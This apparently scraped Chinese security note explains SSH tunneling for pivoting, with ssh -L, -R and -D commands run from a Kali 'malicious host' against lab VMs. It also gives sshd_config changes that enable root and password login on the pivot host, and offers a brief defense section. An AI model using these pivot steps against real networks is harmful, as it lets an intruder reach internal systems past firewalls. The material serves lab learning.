跳板攻击之:SSH 隧道

郑重声明:

本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 SSH 隧道原理

SSH 支持双向通信隧道,并会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。将其他 TCP 端口的通信通过 SSH 连接来转发,加密后的数据可以突破防火墙访问规则的限制。

# 建立SSH 隧道常用参数:

-C
要求进行数据压缩 (包括 stdin, stdout, stderr 以及转发 X11 和 TCP/IP 连接 的数据). 压缩算法和 gzip(1) 的一样, 协议第一版中, 压缩级别 ``level 用 CompressionLevel 选项控制. 压缩技术在 modem 线路或其他慢速连接上很有用, 但是在高速网络上反而 可能降低速度. 可以在配置文件中对每个主机单独设定这个参数. 另见 Compression 选项. -g
允许远端主机连接本地转发的端口.即复用访问时作为网关,支持多主机访问本地侦听端口网关模式转发RDP、NC shell -n
把 stdin 重定向到 /dev/null (实际上防止从 stdin 读取数据). 在后台运行时一定会用到这个选项. 它的常用技巧是远程运行 X11 程序. 例如, ssh -n shadows.cs.hut.fi emacs 将会在 shadows.cs.hut.fi 上启动 emacs, 同时自动在加密通道中转发 X11 连接. 在后台运行. (但是如果要求口令或密语, 这种方式就无法工作; 参见 -f 选项.) -N
不执行远程命令. 用于转发端口. (仅限协议第二版),即不执行登陆 shell -f
后台运行程序. 该选项隐含了 -n 选项. 在远端机器上启动 X11 程序的推荐手法就是类似于 ssh -f host xterm 的命令. -p port
指定远程主机的端口. 可以在配置文件中对每个主机单独设定这个参数. -q
安静模式. 消除所有的警告和诊断信息. -L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport -R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport -D port
指定一个本地机器动态的应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发. -T
禁止分配伪终端.

2 实验环境

2.1 本地端口转发

  • 效果类似于 rinetd,将一本地端口与远程服务器建立隧道 。
  • 端口转发基于建立起来的 SSH 隧道,隧道中断则端口转发中断。
  • 只能在建立隧道时创建转发,不能为已有隧道增加端口转发
目标跳板机需要开启:
/etc/ssh/sshd_config
- PermitRootLogin yes
- Port 22
- PasswordAuthentication yes
service ssh restart # -p 默认使用的 ssh 端口为 22
ssh -CfN -L <liste ip>:<liste port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
# 没有配置<liste ip>默认监听的是 WEB Server 的本地 127.0.0.1 地址(了解)。
ssh -CfN -L <liste port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>

2.1.1 本地端口转发利用方式

  1. 恶意用户主机开启本地端口转发

    ┌──(root㉿kali)-[~]
    └─# ssh -CfN -L 0.0.0.0:8888:10.0.0.7:8080 root@192.168.50.4

  2. 恶意用户远程请求内网服务器 CVE-2018-1000006 POC

    http://127.0.0.1:8888/

2.2 远程端口转发

  • 由于 ACL 等原因,SSH 与应用连接建立方向相反
目标跳板机需要开启:
/etc/ssh/sshd_config
- PermitRootLogin yes
- Port 22
- PasswordAuthentication yes
service ssh restart # <SSH hostname> 为要将数据转发过去的主机, -p 默认使用的 ssh 端口为 22
ssh -CfN -R <local port>:<remote host>:<remote port> <SSH evilhost> -p <ssh server port>
ssh -qTfN -R <local port>:<remote host>:<remote port> <SSH evilhost> -p <ssh server port> ssh –p 2222 web@127.0.0.1

2.2.1 远程端口转发利用方式

  1. 恶意主机开启 SSH 服务

    ┌──(kali㉿kali)-[~]
    └─$ systemctl start ssh.service
  2. 远程登陆 WEB Server ,开启远程端口转发。

    firefart@metasploitable:~# ssh -CfN -R 2323:192.168.230.129:23 kali@192.168.0.2

  3. 恶意用户远程请求内网服务器 bulldog

    ┌──(kali㉿kali)-[~]
    └─$ ssh -p 2323 root@127.0.0.1

2.3 动态端口转发(Socks 代理)

  • 本地、远程端口转发都需要固定应用服务器IP、Port,存在应用端口繁多,逐个转发效率低;不支持不固定端口应用;当网站不支持 IP 直接访问时无法直接使用。
  • 使用非受信网络上网时保护流量不被嗅探
恶意用户与 WEB Server 建立动态端口转发:
ssh -CNfg -D <local listen port> user@<ssh server> -p <ssh server port> 恶意设置 socks 代理,即可访问内网服务器

2.3.1 动态端口转发利用方式

  1. 恶意主机开启动态端口转发

    ┌──(kali㉿kali)-[~]
    └─$ ssh -CNfg -D 1080 firefart@192.168.0.3 -p 22

  2. 应用程序设置 SOCKS 代理:

  3. 恶意用户远程请求内网服务器 bulldog

    http://192.168.230.129:8080/

3 防御 SSH 隧道攻击

  1. 配置 SSH 远程管理白名单。
  2. 在 ACL 中限制只有特定的 IP 地址才能连接 SSH。

跳板攻击之:SSH 隧道的更多相关文章

  1. ssh隧道(通过跳板机)连接mysql

    案例: A服务器   B服务器   C服务器mysql 现在mysql服务器C只能通过内网访问,B服务器就能通过内网连接访问到mysql A服务器无法直接连接C服务器mysql,所以要通过跳板机(跳板 ...

  2. SSH隧道应用, 突破网络限制

    文/怡文圣美 这篇文章可以帮你解决下面三个问题: 不能直连服务器, 要先登陆跳板机, 造成客户端工具无法连接服务器. 服务器没有公网IP, 且只允许公司IP访问, 要在家里操作要先远程桌面到工作机再登 ...

  3. ssh隧道

    最近有需求使用ssh隧道,顺便研究了下,以下记录一下大概说明 ssh隧道顾名思义在可以通过ssh连接的server之间建立加密隧道,常用于突破网络限制 常用三种端口转发模式:本地端口转发,远程端口转发 ...

  4. SSH隧道:端口转发功能详解

    SSH系列文章: SSH基础:SSH和SSH服务 SSH转发代理:ssh-agent用法详解 SSH隧道:端口转发功能详解 1.1 ssh安全隧道(一):本地端口转发 如下图,假如host3和host ...

  5. SQLyog通过ssh隧道连接MySQL

    1.简介 因为现在很多公司服务的数据库为了安全起见,都不允许直接连接其服务,而只能通过跳板机进行登陆到数据库.而ssh有一项非常有用的功能,即端口转发的隧道功能,让一些不安全的服务,像TCP.POP3 ...

  6. 流量操控之SSH隧道与端口转发

    目  录 第1章            概述... 3 1.1.         实现命令... 3 1.2.         SSH隧道类型... 3 第2章            SSH隧道... ...

  7. ssh隧道使用

    在内网中几乎所有的linux服务器和网络设备都支持ssh协议.一般情况下,ssh协议是允许通过防火墙和边界设备的,所以经常被攻击者利用.同时ssh协议的传输过程是加密的,所以我们很难区分合法的ssh会 ...

  8. SSH: ssh隧道

    简介 Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境.SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接. ...

  9. 利用SSH隧道加密技术隐蔽C&C通信流量

    在网络攻防博弈中,网络流量特征分析类安全防御措施得到了广泛应用.众多厂商和企业对网络流量进行恶意流量分析检测,从而针对性的采取防御措施,如各级ISP在骨干网络设备上大多采用网络流量分析检测的防御方案. ...

  10. ssh隧道(端口转发)

    本地转发: ssh -Nf -L [bind_address:]port:host:hostport sshServer -Nf 后台运行 -L 本地转发 [bind_address] 绑定本地地址, ...

随机推荐

  1. GKCTF2021 MISC

    1.签到 当时没签上┭┮﹏┭┮: 追踪http流,发现依次执行[ls][ls/][whoami] 发现存在[fl4g],同时发现破解的规则为hex decode->base64 decode-& ...

  2. 社论 22.10.9 优化连续段dp

    CF840C 给定一个序列 \(a\),长度为 \(n\).试求有多少 \(1\) 到 \(n\) 的排列 \(p_i\),满足对于任意的 \(2\le i\le n\) 有 \(a_{p_{i-1} ...

  3. 【每日一题】【暴力&双指针&动态规划】42. 接雨水-211130/220214

    给定 n 个非负整数表示每个宽度为 1 的柱子的高度图,计算按此排列的柱子,下雨之后能接多少雨水. 方法1:暴力求解(超时) import java.util.*; public class Solu ...

  4. 单节锂电池充电管理芯片,IC电路图

    PW4054 是一款性能优异的单节锂离子电池恒流/恒压线性充电器.PW4054 适合给 USB 电源以及适配器电源供电.基于特殊的内部 MOSFET 架构以及防倒充电路, PW4054 不需要外接检测 ...

  5. 云原生 • Kubernetes 认识 k8s、k8s 架构、核心概念点介绍

    云原生 • Kubernetes 认识 k8s.k8s 架构.核心概念点介绍 一.Kubernetes 简介Kubernetes 简称 k8s,是支持云原生部署的一个平台,起源于谷歌.谷歌早在十几年之 ...

  6. python什么是异常?如何处理异常

    异常处理 什么是异常 异常是程序错误发生的信号.程序一旦出现错误,就会产生一个异常,如果程序中没有处理该异常,该异常就会抛出来,程序的运行也随即终止. 错误分为两种 1.语法错误 2.逻辑错误 如何处 ...

  7. 填坑日志-云网络智慧课堂双网卡Mac地址读取错误的问题及解决

    云网络智慧课堂的双网卡问题记录及解决方案 教师端 其实这里双网卡的问题一直没有解决,分为了两部分,一部分是教师端,一部分是学生端.症状类似,问题也类似,都是在设计之初因为硬件限制可能没有考虑到双网卡的 ...

  8. formly-form 动态表单

    动态表单库 https://github.com/ngx-formly/ngx-formly 安装 ng add @ngx-formly/schematics --ui-theme=ng-zorro- ...

  9. echarts去除下载小图标

    toolbox: { show: true, orient: 'vertical', left: 'right', top: 'center', feature: { dataView: { read ...

  10. Python实验报告(第5章)

    实验5:字符串及正则表达式 一.实验目的和要求 学会使用字符串的常用操作方法和正确应用正则表达式 二.实验环境 软件版本:Python 3.10 64_bit 三.实验过程 1.实例01:使用字符串拼 ...